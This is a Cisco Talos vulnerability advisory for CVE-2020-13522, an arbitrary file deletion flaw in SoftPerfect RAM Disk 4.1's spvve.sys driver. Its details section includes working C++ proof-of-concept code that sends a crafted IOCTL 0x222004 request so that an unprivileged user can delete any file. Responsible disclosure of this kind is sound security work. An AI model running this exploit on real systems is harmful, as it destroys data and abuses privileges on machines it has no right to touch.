Talos Vulnerability Report

TALOS-2020-1121

# SoftPerfect RAM Disk spvve.sys 0x222004 arbitrary file deletion vulnerability

AUGUST 4, 2020

## CVE NUMBER

CVE-2020-13522

## SUMMARY

An exploitable arbitrary file delete vulnerability exists in SoftPerfect RAM Disk 4.1 spvve.sys driver. A specially crafted I/O request packet (IRP) can allow an unprivileged user to delete any file on the filesystem. An attacker can send a malicious IRP to trigger this vulnerability.

## CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

SoftPerfect RAM Disk 4.1

## PRODUCT URLS

RAM Disk - https://www.softperfect.com/products/ramdisk/

## CVSSV3 SCORE

8.8 - CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

## CWE

CWE-269 - Improper Privilege Management

## DETAILS

SoftPerfect RAM Disk is a high-performance RAM disk application that allows the user to store a disk from their computer on the device's space.

The spvve.sys driver creates a device object `Device\SoftPerfectVolume` that is accessible to any user on the system so any user sending specially crafted I/O request packet (IRP) can cause arbitrary file deletion. This allows a regular user to delete any file in the system:

```
VOID kernelFileDelete(HANDLE hDevice, const wchar_t* filePath)
{
        wchar_t fileName2[] = L"\\DosDevices\\C:\\WINDOWS\\doesnotmatter.ini";

        DWORD DATA_SIZE = 24;
        DWORD someData3 = 0;
        DWORD fileName1Size = wcslen(filePath) * 2;
        const DWORD inBufferSize = DATA_SIZE + fileName1Size + sizeof(fileName2) + someData3;
        const DWORD outBufferSize = 4;
        PBYTE inBuffer = new BYTE[inBufferSize];
        PBYTE outBuffer = new BYTE[outBufferSize];;
        DWORD returned = 0;

        memset(inBuffer, 'A', inBufferSize);
        memcpy(inBuffer + DATA_SIZE, filePath, fileName1Size);
        memcpy(inBuffer + DATA_SIZE + fileName1Size, fileName2, sizeof(fileName2));
        setData<DWORD>(inBuffer, 0, 0x2);
        setData<WORD>(inBuffer, 0x16, fileName1Size);
        setData<WORD>(inBuffer, 5, sizeof(fileName2));
        setData<WORD>(inBuffer, 0x14, someData3); //somedata3
        setData<BYTE>(inBuffer, 4, 1);
        setData<QWORD>(inBuffer, 7, 0);


        DeviceIoControl(hDevice,
                0x222004,
                inBuffer,
                inBufferSize,
                outBuffer,
                outBufferSize,
                &returned,
                0);

        printf("returned bytes : 0x%x\n", returned);
        neolib::hex_dump(outBuffer, returned, std::cout);
        system("PAUSE");

}
```

As a result, the file pointed to by `filePath` will be deleted.

## TIMELINE

2020-07-16 - Vendor Disclosure
2020-07-23 - Vendor Patched
2020-08-04 - Public Release

CREDIT

Discovered by a member of Cisco Talos.